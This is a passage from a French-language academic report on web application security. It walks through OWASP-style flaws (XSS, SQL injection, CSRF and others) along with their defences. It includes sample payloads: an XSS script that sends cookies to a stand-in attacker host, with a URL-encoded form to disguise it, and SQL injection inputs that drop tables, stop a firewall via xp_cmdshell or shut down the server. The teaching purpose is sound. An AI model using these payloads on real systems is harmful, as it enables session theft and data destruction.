Un exemple classique est celui des forums, o les utilisateurs peuvent poster des textes formats avec des balises HTML. Ces failles sont plus importantes que celles d'autres types, parce qu'un attaquant peut se contenter d'injecter un script une seule fois et atteindre un grand nombre de victimes sans recourir l'ingnierie sociale. Il y a diverses mthodes d'injection, qui ne ncessitent pas forcment que l'attaquant utilise l'application web elle-mme. Toutes les donnes reues par l'application web (par email, journaux, etc.) qui peuvent tre envoyes par un attaquant doivent tre encodes avant leur prsentation sur une page dynamique, faute de quoi une faille XSS existe.

5.1.5. Comment faire pour dterminer si vous tes vulnrable : Failles XSS peuvent tre difficiles identifier et supprimer partir d'une application Web. La meilleure faon de trouver des dfauts est d'effectuer un examen de la scurit du code et de recherche pour tous les lieux o l'apport d'une requte HTTP pourrait ventuellement faire son chemin dans la sortie HTML. A noter qu'une varit de diffrentes balises HTML peuvent tre utiliss pour transmettre un JavaScript malveillant. Nessus, Nikto, et quelques autres outils disponibles peut aider balayer un site web pour ces failles, mais ne peut qu'effleurer les possibilits. Si une partie d'un site Internet est vulnrable, il ya une forte probabilit qu'il existe aussi d'autres problmes.

5.1.6. Comment se protger : Les dfenses contre les attaques XSS primaires sont dcrites dans la prvention OWASP XSS CheatSheet. En outre, il est crucial que vous teigniez l'appui HTTP TRACE sur tous les serveurs Web. Un attaquant pourrait drober les donnes des cookies via JavaScript, mme lorsque document. Cookie est dsactiv ou n'est pas pris en charge sur le client. Cette attaque est monte lorsque l'utilisateur affiche un script malveillant sur un forum donc quand un autre utilisateur clique sur le lien, une trace d'appel HTTP asynchrone est dclenche qui recueille les informations provenant de cookies de l'utilisateur du serveur, et l'envoie ensuite un autre serveur malveillant qui collecte les informations du cookie si l'attaquant peut mener une attaque de vol de session. Ceci est facilement attnu par la suppression des aides pour HTTP TRACE sur tous les serveurs Web.

18

Chapitre I

Le web et la scurit

Le projet OWASP ESAPI a produit un ensemble de composants de scurit rutilisable dans plusieurs langues, y compris la validation et d'chapper des routines pour empcher toute altration et de paramtres de l'injection d'attaques XSS. En outre, le projet OWASP WebGoat demande de formation est riche d'enseignements sur Cross-Site Scripting et d'encodage des donnes. Exemple Supposons que la page d'accueil de CommentCaMarche.net soit vulnrable une attaque de type Cross-Site Scripting car elle permet d'afficher sur la page d'accueil un message de bienvenue affichant le nom de l'utilisateur pass en paramtre : http://www.commentcamarche.net/?nom=Jeff Une personne malintentionne peut raliser une attaque Cross-Site Scripting non persistance en fournissant une victime une adresse remplaant le nom Jeff par du code HTML. Il peut notamment passer en paramtre le code JavaScript suivant, servant rediriger l'utilisateur vers une page dont il a la matrise : <SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT> Le code ci-dessus rcupre les cookies de l'utilisateur et les transmet en paramtre un script CGI. Un tel code pass en paramtre serait trop visible : http://www.commentcamarche.net/?nom=<SCRIPT>document.location='http://site.pirate/cgibin/script.cgi?'+document.cookie</SCRIPT> En revanche, l'encodage de l'URL permet de masquer l'attaque : http://www.commentcamarche.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6 d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f %73%69%74%65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63 %72%69%70%74%2e%63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63 %6f%6f%6b%69%65%3c%2f%53%43%52%49%50%54%3e Et de cette faon on a raliser une attaque de type XSS.

5.2. Injection SQL : Comme vous le savez certainement SQL (Structured Query Language) est un langage de base de donnes, celles-ci reprsentant le cur de beaucoup d'applications web de nos jours. C'est un langage bas sur des requtes utilisant et des instructions telles que INSERT (insertion de donnes dans la base de donnes), DELETE (pour en supprimer), UPDATE (pour en mettre jour), 19

Chapitre I

Le web et la scurit

SELECT (pour en slectionner et lire), et bien d'autres. Mais cette simplicit en fait aussi une proie facile aux dtections de failles. Lattaque par injection SQL consiste simplement ajouter des donnes un paramtre pour piloter la base de donnes cible. Si le paramtre de la ville nest pas vrifi correctement, il est tout fait possible de rechercher Saint-Denis ou Saint-Pierre en mme temps, alors que le dveloppeur navait pas prvu cette fonctionnalit au dpart ! Lattaque ressemblerait a : ville=Saint-denis OR 1=Saint-Pierre... Si dans le cas prsent, lattaque parat inoffensive, mais sil est possible de faire votre site quelque chose qui ntait pas prvu lorigine alors celui-ci est largement expos aux Hackers. Lexemple du paramtre ville dmontre quil est simple de dtourner un formulaire de recherche. Mais linjection SQL peut tre utilise afin daccder lensemble dune base donnes. Le pirate peut alors rcuprer les emails, nom, prnom, numros de carte de crdit, mot de passe des utilisateurs ou encore supprimer toute la base.

5.2.1. Exemple : SELECT * FROM Clients WHERE login = 'sofiane'; Cette requte aura pour effet de slectionner l'utilisateur (extrait de la table "Clients") dont le login est "sofiane", pour bien vous faire comprendre ce qu'est une attaque de type sql injection (Mon exemple n'tant pas du pur hasard puisqu'une attaque de ce type dans le but de rcuprer un mot de passe ou de s'identifier est certainement la plus courante). Maintenant imaginons que ma page contienne un formulaire d'identification utilisateur de ce type :

La requte associe ce formulaire permettant de vrifier que les login / password entres sont valides par rapport notre base de donnes serait : ("SELECT * FROM Clients WHERE utilisateur = 'login' AND motdepasse = 'password'"); Cette requte aurait pour effet de slectionner l'utilisateur en question si le nom d'utilisateur ET le mot de passe entres sont dans notre base de donnes. Si l'un des deux est erron la requte ne renverra aucun rsultat.

20

Chapitre I 5.2.2. L'attaque en question

Le web et la scurit

Sachant que sur mon exemple la variable login contient ce que j'ai tap dans mon premier champ de texte et que la variable password contient de mme ce que j'ai tap dans le deuxime champ de texte (mot de passe), imaginez ce que cela pourrait donner si on entrait ceci dans le premier champ de texte : 'OR 1=1"); // Si nous allons voir ce qui se passe du cote du code, notre requte deviendrait alors : ("SELECT * FROM Clients WHERE utilisateur = ''OR 1=1"); //' AND motdepasse = 'password'"); Et la requte excuter est le suivante : ("SELECT * FROM Clients WHERE utilisateur = ''OR 1=1"); qui est valide.

Et elle permettrait certainement d'identifier car la requte est vraie si un utilisateur ' ' existe OU si 1=1. Comme il est vident que 1 est gal 1, elle serait vraie. Le signe "//" signifiant un commentaire en java, le reste serait rendu inutile. Et donc lauthentification sera russie sans avoir un mot de passe ni login valables. Il est vrai que notre requte est un peu tire par les cheveux, mais imaginez maintenant que je sache qu'un certain Arthur est possesseur des droits administrateurs et que je rentre ceci dans mon champ de texte : Arthur'"); // ("SELECT * FROM Clients WHERE utilisateur = ' Arthur'"); //' AND motdepasse = 'password'"); il slectionnera alors l'utilisateur Damien sans se proccuper du mot de passe en suivant le mme raisonnement que prcdemment en excutant la requte suivante : ("SELECT * FROM Clients WHERE utilisateur = ' Arthur'"); qui est valide.

5.2.3. Autres types d'attaques : Dans notre exemple prcdent, nous ne faisions que nous identifier et nous aurions trs bien pu rcuprer un mot de passe de la mme faon. Mais ce n'est pas tout ce qu'on pourrait faire avec une injection sql. Maintenant que vous avez compris comment vous "fabriquer" vos propres requtes, voici quelques exemples de requtes venant effectuer des modifications sur les donnes ou mme le systme cette fois-ci.

login : ' OR 1=1"); drop table Clients; password : n'importe lequel 21

Chapitre I Celle-ci supprimerait compltement la table Clients.

Le web et la scurit

login : '; exec master..xp_cmdshell 'net stop firewall'; -password : n'importe lequel

Sachant que je suis repasse dans une syntaxe sql utilise sur asp, cette requte aurait pour effet d'excuter une commande shell "net stop firewall" qui stopperait l'excution du service "firewall". Et puisque le serveur sql est lance en tant que SYSTEM par dfaut, nous aurions tout fait ce droit d'arrter des services.

login : '; shutdown with nowait; -password : n'importe lequel

Mais ce ne sont que quelques exemples car les possibilits sont nombreuses.

5.2.4. Comment se protger des attaques par injection sql ? Comme vous pouvez-vous en douter, le seul moyen de prvenir ces attaques se trouve au niveau de la programmation. Si celle-ci est bien ralise, elles ne sont normalement plus possibles. Alors...quelles sont les risques de programmation prendre en compte ? Tout d'abord, vitez d'utiliser un compte ayant tous les pouvoirs pour l'excution de votre serveur sql si possible. Supprimer les fonctions que vous n'utilisez pas telle que celle que nous avons vu : master..xp_cmdshell, et de manire gnrale toutes celles commenant par "master..xp". Vrifiez les entres utilisateurs telles que les champs de texte. vrifiez aussi que les nombres attendus soient bien des nombres avec une fonction telle que IsNumeric() par exemple. Verifiez aussi les paramtres des URL qui sont ajoutables. Utilisez les caractres et fonctions d'chappement telles que AddStripSlashes() en php, voir les caractristiques de la fonction et en gnral les documentations de vos langages de programmation web pour plus d'infos. Cela empchera par exemple l'entre utilisateur du caractre ' en l'chappant l'aide d'un slash le prcdant. Vous pouvez aussi empcher d'une manire gnrale certaines squences d'entres utilisateurs telles que ";", "insert", "select", "//", "--", etc.

22

Chapitre I

Le web et la scurit

Attention aussi limiter le nombre de caractres qu'un utilisateur peut entrer dans un champ de texte, car ceci peut fort bien lui compliquer la tache. Pour finir, attention ce que vous mettez dans les cookies, car un mot de passe (mme crypter en md5) est vite trouv par une attaque de ce type. Et par la suite un remplacement de cette valeur dans le cookie incite l'attaquant une attaque de type brute force ; c'est donc un joli cadeau.

5.3. Excution de Fichier Malicieux : 5.3.1. Principe : Cette faille Permet des attaquants d'inclure du code et des donnes hostiles, ayant pour rsultat des attaques dvastatrices, telle la compromission totale d'un serveur Elle se produit lorsque les applications web ne parviennent pas contrler ou interdire l'excution des fichiers tlchargs. Le code malicieux est gnralement tlcharg via la fonction de tlchargement sur le serveur (par exemple un fichier ou une image). Ce type de vulnrabilit peut tre trouv dans beaucoup d'applications web, en particulier dans celles qui sont dveloppes en PHP Les pirates dcouvrent comment les applications web peuvent tre manipuls pour tlcharger des fichiers malveillants afin de compromettre des serveurs web. 5.3.2. Mthodes dattaques sont possibles via : Le chargement de donnes hostiles en fichiers de sessions, fichiers de logs ou via des images (type des logiciels de forums) Lutilisation de flux de compressions ou audios, tels zlib:// ou ogg:// qui ninspectent par la configuration de PHP et permettent alors daccder des ressources distantes mme si la variable allow_url_fopen ou allow_url_include est dsactive. Lutilisation de wrappers PHP, tels que des entres php:// et autre pour passer des donnes en POST plutt que via un fichier.

5.3.3. Les risques : Accs des fichiers/rpertoire en dehors de lapplication Accs des ressources et fonctionnalits dadministration Accs des ressources dautres utilisateurs Excution de code malicieux par le serveur (inclusion) 23

Chapitre I Installation de rootkit, chevaux de Troie

Le web et la scurit

5.3.4. Solutions : Il est vital dutiliser une architecture scurise et une conception de la scurit extrmement robuste lorsque lon travaille avec les entres fournies par un utilisateur qui pourraient influencer le choix daccs ou le nom des fichiers cot serveur. Bien quil ny ai quun exemple en PHP, cette attaque est possible de manire diffrente sur .NET et J2EE. Quand aux applications crites via ces frameworks, il convient de porter une attention particulire la faon dont les mcanismes de scurit daccs sont cods, et vrifier que les noms de fichiers fournis par lutilisateur ne permettent pas de rduire les contrles de scurit Les dommages causs directement par cette vulnrabilit sont intimement lis la robustesse des mcanismes disolation du framework. Comme PHP nest que rarement isol et ne dispose pas de concept de bac sable ou darchitecture de scurit, le dommage peut tre pire que les attaques sur dautres plateformes disposant de mcanismes de confiance, faibles ou levs ; telle quune application Web tournant dans une JVM avec le gestionnaire de scurit activ et proprement configur (ce qui est rarement le cas par dfaut).

5.4. Rfrence directe non scurise un objet 5.4.1. Principe : Elle se produit quand un dveloppeur expose une rfrence un objet d'excution interne, tel qu'un fichier, un dossier, un enregistrement de base de donnes, ou une clef, comme paramtre d'URL ou de formulaire. Les attaquants peuvent manipuler ces rfrences pour avoir accs d'autres objets sans autorisation Dans une application de banque en ligne, il est frquent dutiliser le numro de compte comme clef primaire. Il est alors trs tentant dutiliser le numro de compte directement dans linterface Web. Mme si le dveloppeur a pris soin de prvenir les injections SQL, si il ny pas de contrle dautorisation en place pour vrifier que le possesseur dun compte peut le lire, un attaquant peut modifier le paramtre de numro de compte pour changer ou lire tous les comptes. Ce type de vulnrabilit est trs courant, mais trop peu test dans beaucoup dapplications. Beaucoup dapplication exposent des rfrences des objets internes aux utilisateurs. Un attaquant peut utiliser et modifier un paramtre et violer ainsi les politiques de contrles daccs mises en place. Frquemment, ces rfrences pointent vers des fichiers systme ou des bases de donnes, mais toute autre partie dune application peut tre vulnrable.

24

Chapitre I

Le web et la scurit

Par exemple, si le code autorise lutilisateur donner un nom de fichier ou un rpertoire, cela peut permettre un attaquant de sortir de la structure de lapplication et daccder dautres ressources.

5.4.2. Protection La meilleure protection est dviter dexposer une rfrence directe un objet lutilisateur, grce lutilisation dun index, une quivalence par rfrence indirecte ou une autre mthode indirecte facile valider. Si une rfrence directe un objet doit tre utilise, vrifiez que lutilisateur est autoris avant de lutiliser. La mise en place dune mthode de rfrence aux objets d'application est importante Evitez d'exposer des rfrences d'objet priv aux utilisateurs, chaque fois que possible, tels les cls primaires ou noms de fichiers Validez sans retenue toutes les rfrences aux objets privs, via la mthode d'acceptation des bonnes valeurs Vrifiez l'autorisation tous les objets rfrences

5.5. CSRF (Falsification de requte inter site) 5.5.1. Prsentation CSRF ou plus communment appele Cross Site Request Forgery est une classe dattaques propre aux applications Web. Elle reste lune des moins mdiatiques malgr les effets dvastateurs quelle peut prsenter. Cette technique exploite la confiance quune application montre lgard de ses clients. Le CSRF est une attaque instantane. Elle ne repose pas sur lexcution dun script dans un navigateur. Son but est dexcuter une action non dsire par le client sur un site o la victime possde un accs privilgi. Concrtement, le XSS est ralis pour voler un cookie de session alors que le CSRF va utiliser le cookie de session (sans que le pirate ne connaisse sa valeur) et la confiance tablie entre le site web et le client afin dexcuter une requte lgitime mais toujours l'insu de lutilisateur abus.

5.5.2. Conditions requises Plusieurs conditions doivent tre runies pour permettre une ventuelle attaque. Les sites qui implmentent des requtes POST sont moins exposs. En effet, les requtes GET sont facilement prdictibles. Les informations transitent dans lURL, il suffit donc de forger une URL afin denvoyer une requte valable au serveur web. Par ailleurs, le pirate doit tre certain que la victime est authentifie sur le site et quelle possde un cookie. Le site web cible ne doit pas implmenter une seconde tape lors de la validation des 25

Chapitre I

Le web et la scurit

actions et les paramtres envoys doivent rester statiques. Si plusieurs pages de formulaires sont utilises, le pirate devra construire un script bien plus volu quune simple URL. Lapplication sera donc moins expose. 5.5.3. Les consquences dune attaque La plupart des services fournis par une application web peuvent ainsi tre exploit par cette attaque : changement de mot de passe, post de message sur un forum, achat en ligne, achat daction sur un site boursier, envoi dune carte de vux virtuelle, envoi d e-mails... Ce genre dattaques est souvent perptr lencontre des forums. Il utilise des balises images pour dissimuler le code. On peut maintenant imaginer les consquences dune attaque plus volue. Une victime, connecte son site en ligne visite un site pirate qui envoie une requte HTTP destine crditer son compte sans que cette dernire nait spcifiquement choisi deffectuer cette action. Le site de la banque voit seulement un utilisateur connect qui ralise une opration. Lapplication autorise la requte car elle accorde toute sa confiance lutilisateur (problme de non rpudiation).

5.5.4. Les solutions Le Referer Certains amateurs du protocole HTTP ont sans doute immdiatement pens au referer , option qui identifie lorigine de la requte. Cette fonction, justement utilise pour parer ce genre de problme, nest malheureusement pas mise en place par tous les internautes. Cette solution nest donc pas fiable. Elle fonctionnera dans certains cas. En revanche, le serveur sera oblig de refuser chaque requte qui ne possde pas ce champs. Par ailleurs, les pirates peuvent galement bloquer lenvoi du Referer . Utilisation dun secret La seule mthode vraiment efficace consiste utiliser des tokens alatoires (secret) sur toutes les pages sensibles. Ce jeton doit tre envoy au serveur (en champs cach) lors de la soumission dun formulaire ou dactions critiques. Si lURL envoye ne contient pas ce nombre alatoire qui ne peut tre prdit par lattaquant, le serveur web ne traitera pas cette dernire. Des noms de variables alatoires Une autre possibilit rside dans le fait que le serveur web implmente une table de nombre alatoires qui sert dfinir le nom dune variable en fonction dune session donne. Dans ce cas, linformation ne peut pas tre prdite par le pirate. 26

Chapitre I Double validation des actions

Le web et la scurit

Une dernire possibilit consiste obliger lutilisateur valider chaque action critique par la soumission de son mot de passe. Une fois que la requte dordre de transfert dargent a t effectue, lutilisateur doit confirmer avec un paramtre (dont le pirate ne dispose pas). Lattaque est alors pare. Les solutions de contournement du cot du client Toute la problmatique rside dans le fait d'empcher le navigateur deffectuer des requtes sans lautorisation pralable du client. Voici quelques conseils prcieux pour vous aider parer ce genre dattaque: ne pas utiliser un client mail qui interprte les codes HTML. ne pas sauvegarder les identifiants dans le navigateur. ne pas utiliser la fonction remember me propose par de nombreux sites. ne pas suivre les liens suspects. se dconnecter lorsque vous avez fini de visiter les sites sensibles

5.6. Fuite dinformation et traitement derreurs incorrect 5.6.1 Prsentation Les applications peuvent involontairement dvoiler des informations sur leur configuration, fonctionnement interne, ou violer la vie prive par toute sorte de problmes applicatifs. Les applications peuvent galement dvoiler des informations sur leur tat interne par l'intermdiaire du temps qui leur est ncessaire au traitement de certaines oprations ou via diffrentes rponses des entres diffrentes, par exemple afficher le mme message d'erreur avec des numros d'erreurs diffrents. Les applications web dvoileront souvent des informations sur leur tat interne cause de messages d'erreurs dtaills ou de dbogage. Ces informations peuvent souvent tre utilises pour dclencher, voire mme automatiser des attaques plus puissantes.

5.6.2. Principe Lors de leur fonctionnement, les applications web sont amenes gnrer des messages d'erreur, lorsque lutilisateur fournit une requte non valide. Ces messages doivent tre comprhensibles pour l'utilisateur, mais prserver les informations sensibles. La mauvaise gestion des messages d'erreur au niveau d'un site web peut entraner plusieurs types de problme de scurit. On peut citer :

27

Chapitre I

Le web et la scurit

Divulgation du nom et de la version prcise du service web et du serveur dapplication. Fourniture dinformations sur lexistence de comptes applicatifs : pour un formulaire dauthentification applicative, lorsque lauthentification choue, il faudrait retourner un seul message derreur, gnrique. En effet, linverse, des messages derreur trop dtaills (exemple : "le mot de passe est incorrect) permettent de dterminer lexistence de comptes valides, afin dans un second temps de tenter de compromettre les mots de passe.

Divulgation du chemin daccs absolu de ressources sur le serveur (dans le cas o lURL demande nexiste pas). Un serveur web peut galement donner des informations trop prcises sur les versions des produits et systmes utiliss. Il sagira alors dappliquer les derniers correctifs sur le service, ou bien de modifier sa configuration de faon minimiser les informations envoyes au client.

Divulgation dinformations sensibles dans le code client (JavaScript) : Il convient de veiller ce que les traitements JavaScript, raliss sur le navigateur client, ne comportent pas dinformations sensibles.Par exemple, la vrification de validit dun identifiant, parmi tous les identifiants disponibles, ne devrait pas tre ralise ct client, car cela suppose de transmettre au client la liste de tous les identifiants valides. Cette vrification devrait alors tre ralise uniquement ct serveur, afin dviter cette fuite dinformations.

Problme de stockage de l'information Certaines applications web doivent conserver des donnes sensibles (mots de passe, numros de cartes de crdit, informations concernant les utilisateurs, etc...). Si la sensibilit de ces donnes lexige, elles devront tre protges grce des mcanismes de chiffrement (notamment dans le cas o lapplication sinterface avec une base de donnes, ou bien avec une application tierce). Les problmes de scurit lis au stockage de ces informations peuvent avoir plusieurs causes : chec de chiffrement des donnes confidentielles, stockage non sr de cls, certificats ou mots de passe, conservation en mmoire de secrets, mauvais choix d'algorithme, etc... Des fichiers temporaires ou de configuration laisss dans lespace de diffusion web peuvent entraner la divulgation dinformations concernant le fonctionnement de lapplication. Si une solution de chiffrement s'impose, privilgier une solution reconnue comme robuste et proposant un chiffrement fort. S'assurer que les informations sensibles sont stockes de manire scurise. 28

Chapitre I 5.6.3. Les solutions

Le web et la scurit

Les dveloppeurs devraient utiliser des outils comme WebScarab (OWASP) pour faire gnrer des erreurs leur application. Les applications qui n'ont pas t testes de cette faon gnreront certainement des erreurs inattendues. Les applications devraient aussi intgrer une architecture standard de traitement d'exceptions afin d'empcher toute fuite d'information non dsire destination des attaquants. Prvenir la fuite d'informations requiert une vraie discipline. Les mthodes suivantes ont prouv leur efficacit : Mettre en place, au niveau du site, une politique de scurit permettant de grer tous les types possibles d'erreur, avec les informations associes. Ces dernires doivent permettre d'aider l'utilisateur sans lui rvler d'informations sensibles. Certaines erreurs doivent par ailleurs tre journalises, des fins d'analyse en cas de tentatives d'attaques. Assurez-vous que toute l'quipe de dveloppement partage la mme approche relative au traitement d'exceptions Dsactivez ou limiter le traitement d'erreur dtaill. En particulier, ne pas afficher les informations de dbogage aux utilisateurs, l'tat de la pile ou des informations relatives aux chemins Assurez que les path scuriss qui ont des rsultats multiples retournent des messages d'erreur similaires ou identiques approximativement dans le mme temps. Si ce n'est pas possible, envisager d'imposer un temps de rponse alatoire pour toutes les transactions pour cacher cette information l'attaquant Diffrentes couches peuvent retourner des erreurs fatales ou une exception, telle la couche base de donnes, le serveur web sous-jacent (IIS, Apache, etc.). Il est crucial que les erreurs venant de chaque couche soient dment vrifies et configures pour empcher les messages d'erreur d'tre exploits par des intrus Il faut savoir que les Framework courants retournent des erreurs HTTP diffrentes suivant que l'erreur est dans votre code ou dans celui du Framework lui-mme. Il est intressant de crer un gestionnaire par dfaut d'erreur qui retourne un message d'erreur correctement nettoy pour la plupart des utilisateurs en production pour tous les path d'erreur Modifier le traitement d'erreurs par dfaut pour qu'il retourne tout le temps une erreur 200 (OK) rduit la possibilit qu'un outil automatis aurait de dterminer si une erreur srieuse s'est produite. Bienque ce soit de la scurit par l'obscurit , cela fournit un niveau de dfense supplmentaire

29

Chapitre I

Le web et la scurit

Certaines grandes entreprises ont choisi d'inclure des codes d'erreurs alatoires ou uniques travers toutes leurs applications. Ceci peut aider le help desk trouver une solution correcte un problme particulier, mais cela peut aussi permettre aux attaquants de dterminer exactement comment une application sest termine.

5.7. Violation de Gestion d'authentification et de Session : 5.7.1. Principe : Le principe de la faille de la violation de gestion dauthentification et de session consiste a contourn les mcanismes dauthentification ou de sapproprier des sessions sur lapplication. Ces failles provoquent une violation de la vie prive, par exemple elles peuvent mener au dtournement de comptes utilisateur ou administrateur.

5.7.2. Parmi les risques de cette faille en trouve : Mauvaise gestion des donnes dauthentification et/ou de session (cookie, login/mot de passe, les questions secrtes) ; Parfois : au sein des mcanismes dauthentification principal ; Le plus souvent : au sein des mcanismes secondaires (dconnexion, gestion de mot de passe, mot de passe oubli, mise jour du compte).

5.7.3. Solution : L'authentification repose sur la scurit des communications et du stockage des informations d'identification. Afin de protg une application web de cette faille on doit prendre quelques prcautions ainsi que quelques rgles, parmi ces derniers on trouve : Utiliser uniquement des mcanismes de gestion de sessions intgrs. Sassurer que SSL a t mis en uvre et que toutes les informations d'identifications sont stockes sous forme de hash ou encryptes Limiter ou supprimer le code des cookies personnaliss relatifs l'authentification ou la gestion de session. Utiliser une priode de timeout qui dconnecte automatiquement tout les utilisateurs aprs une priode d'inactivit. Utilisez un mcanisme d'authentification unique avec un niveau de scurit et un nombre de facteurs appropris (c'est--dire, nest pas vulnrable aux attaques par rejeux ou Spoofing ). 30

Chapitre I 5.8. Stockage Cryptographique non Scuris

Le web et la scurit

Souvent les applications web nutilisent pas correctement les fonctions cryptographiques pour protger les donnes et les droits d'accs. La faille consiste soit a stock les donnes (informations sensibles) ou les cls dans une zones non protge, soit une utilisation incorrecte des algorithmes de chiffrement ou des algorithmes non robuste (cr par le dveloppeur lui mme). Pour se protg de cette faille il faut sassur que les donnes sont stockes chiffres avec des algorithmes de chiffrement robuste avec un mcanisme de chiffrement implment dune manire correcte. Comme il y a beaucoup trop de manires incorrectes dutiliser la cryptographie, les recommandations suivantes doivent tre considres comme une partie de votre stratgie de test pour sassurer que les donnes cryptographiques sont manipules de manire scurise : Ne pas crer dalgorithmes de chiffrement, vu quil existe des algorithmes cryptographiques standards (AES pour les algorithmes symtriques, RSA pour les algorithmes asymtriques et SHA-256 comme une fonction de hachage), robustes et test par les dfrents organismes mondials de la cryptographie (ex : NIST). Ne pas utiliser dalgorithmes dhachages faibles, tels MD5 / SHA1. Favoriser des alternatives plus sres, comme SHA-256 ou SHA-512. Gnrer les cls hors-ligne et stocker les cls prives avec une extrme prcaution.

5.9. Communications non scurises 5.9.1. Prsentation : La plupart du temps, les applications ne chiffrent pas le trafic rseau quand il est ncessaire de protger des communications sensibles Le chiffrement doit tre utilis pour toutes les connexions authentifies, et plus spcifiquement lors daccs aux pages de sites WEB. Sinon, lapplication expose en clair les lments daut hentification ou de session. En plus, le chiffrement doit tre utilis chaque fois quil y a des informations sensibles, comme des informations de cartes de crdit, de cartes de sant ou lorsque des informations de sant sont transfres. Les applications qui permettent le retour arrire ou qui peuvent tre contraintes de sortir dun mode de chiffrement peuvent tre attaques par des pirates. Utiliser SSL pour les communications avec des utilisateurs est primordial, car il est vraiment probable quils utilisent des rseaux non scuriss pour accder aux applications. Parce que http inclut des lments dauthentification ou de sessions dans chaque requte, tous les trafics lis lauthentification doivent passer par SSL, et pas seulement la requte dauthentification.

31

Chapitre I 5.9.2. Protection

Le web et la scurit

Utiliser SSL pour toutes les connexions qui sont authentifies ou qui transmettent des donnes sensibles, comme des lments dauthentification, les dtails dune carte de crdit, dune carte de sant ou autres informations prives

Assurer que les communications entre les composants dune infrastructure, comme entre des serveurs WEB et des serveurs de bases de donnes, sont protges de faon approprie grce lutilisation dune couche de transport scurise ou dun chiffrement au niveau protocole pour les lments dauthentification et les donnes intrinsques

5.10. Dfaillance dans la restriction des accs URL 5.10.1. Prsentation : Frquemment, une application protge seulement la fonctionnalit sensible en empchant l'affichage des liens ou des URLs aux utilisateurs non autoriss. Les attaquants peuvent utiliser cette faiblesse pour accder et effectuer des oprations non autorises en accdant ces URL directement. Un attaquant motiv, comptent, ou tout simplement trs chanceux, peut trouver et accder ces pages, invoquer les fonctions correspondantes et voir les donnes. Les vrifications des contrles daccs doivent tre effectues avant quune requte daccs aux fonctions sensibles soit autorise, ce qui assure que lutilisateur est autoris accder cette fonction. La premire mthode dattaque pour cette vulnrabilit est appele forced browsing , qui regroupe la recherche de liens, des techniques dattaque par force brute pour trouver des pages non protges. Les applications fournissent souvent un mcanisme de contrle daccs pour faire voluer et tendre un code de base, rsultant en un modle complexe qui est difficile comprendre pour les dveloppeurs et spcialistes de la scurit. Cette complexit rend plus que probable loccurrence derreurs et de pages non traites qui restent exposes aux attaques.

5.10.2. Des exemples communs de ces vulnrabilits sont : Des URLs caches ou spciales, accessibles uniquement aux administrateurs ou aux utilisateurs privilgis au niveau de la couche prsentation, mais accessibles tous les utilisateurs si ils savent quelles existent comme /admin/adduser.php ou /approveTransfer.do. Cest particulirement rpandu dans le code qui gre les menus.

32

Chapitre I

Le web et la scurit

Les applications autorisent souvent des accs des fichiers cachs comme du XML statique ou des rapports systme gnrs, la scurit reposant sur lobscurit pour les cacher.

Le code qui renforce la politique de contrle daccs mais qui nest pas jour ou qui est insuffisant. Par exemple, imaginez /approveTransfer.do qui tait initialement accessible pour tous les utilisateurs mais qui, depuis que les contrles exigs par SOX ont t mis en place, ne soit plus accessible quaux approbateurs. Une correction pourrait tre de ne pas prsenter la page aux utilisateurs non autoriss mais quaucun contrle daccs ne soit mis en place lorsque la page est demande.

5.10.3. Protection Les applications WEB doivent renforcer le contrle daccs chaque URL. Il nest pas suffisant de mettre un mcanisme de contrle daccs au niveau de la couche prsentation et de laisser la logique mtier non protge. Il nest pas non plus suffisant de raliser une vrification unique pendant le processus qui assure que lutilisateur est authentifi et aprs ne pas vrifier les tapes suivantes. Autrement, un attaquant peut simplement sauter ltape o lauthentification est vrifie, et forger les valeurs de paramtres ncessaires pour passer ltape suivante. Mettre en place le contrle daccs sur les URL ncessite de suivre un planning srieux. Parmi les points importants ne pas oublier, il y a : Assurez-vous que toutes les URLs et les fonctions mtier sont protges par un mcanisme de contrle daccs efficace qui vrifie le rle de lutilisateur et les droits associs avant chaque traitement. Assurezvous que cest fait chaque tape, et non seulement au dbut de chaque processus multi-tapes. Effectuez un test de pntration avant chaque dploiement ou livraison de code pour vous assurer que lapplication ne peut pas tre utilise mauvais escient par des attaquants mal intentionns. Prtez une attention toute particulire linclusion de fichiers et de librairies, et plus particulirement sils ont une extension excutable . Quand cest possible, ils doivent tre stocks en dehors du rpertoire web racine. Vous devez vrifier quils ne peuvent pas tre accds directement, par exemple en vrifiant une constante qui peut simplement tre cre par la librairie appelante. Assurez- vous toujours que les actions dadministration ou ncessitant des privilges importants sont protges. 33

Chapitre I

Le web et la scurit

Bloquez laccs tous les types de fichier que votre application nutilisera jamais. Idalement, le filtre doit suivre lapproche tout ce qui est connu est bon et seulement les types de fichiers autoriss que vous avez dcid dutiliser, comme par exemple html, pdf, php. Cela va alors bloquer les diffrents essais daccs aux fichiers de logs, aux fichiers XML, etc., dont vous navez jamais planifi dutilisation directe.

6. Conclusion : En dpit de toutes les qualits des technologies web modernes qui permette un dveloppement rapide des applications web, la scurit de ces dernires reste nanmoins une partie souvent ignor par les dveloppeurs. Une mthodologie rigoureuse qui prend en compte la scurit de ces applications est donc ncessaire pour assurer la protection contre les principales failles qui vise la couche applicative. Dans le chapitre prochain, on va essayer de donner les tapes de conception une application web scurise en prcisant les bonnes pratiques prendre en compte pour assurer la protection de la couche applicative.

34

Partie I Chapitre 2 : Mise en uvre une application web scurise

Chapitre II 1. Introduction :

Mise en uvre une application web scurise

Mme si le management a globalement conscience des risques associs la scurit des applications Web, on constate encore aujourdhui la persistance dides reues qui sont autant dobstacles la comprhension complte des problmatiques et entravent la prise des dcisions adquates pour assurer la scurit dun environnement Web. 2. Etapes de la mise en uvre dune application web scuris : Face aux risques lis la scurit des applications Web, il est primordial disposant dun niveau de scurit suffisant par rapport aux risques mtier. Ces bonnes pratiques doivent tre mises en uvre par les diffrents acteurs du projet, de manire complmentaire et cohrente. La scurit doit tre prise en compte de manire proactive et non ractive, tout au long du cycle de vie du projet, et non ajoute et teste la fin du cycle de dveloppement. La prise en compte des aspects scurit le plus en amont possible permet en outre doptimiser les cots et les dlais de ralisation. En effet, plus la scurit est prise en compte tardivement dans les tapes de dveloppement, plus le cot de correction des failles est lev. Les bonnes pratiques de scurit suivantes doivent tre mises en uvre lors des diffrentes tapes du cycle de dveloppement : pour les organisations de mettre en uvre les bonnes pratiques permettant dobtenir des applications

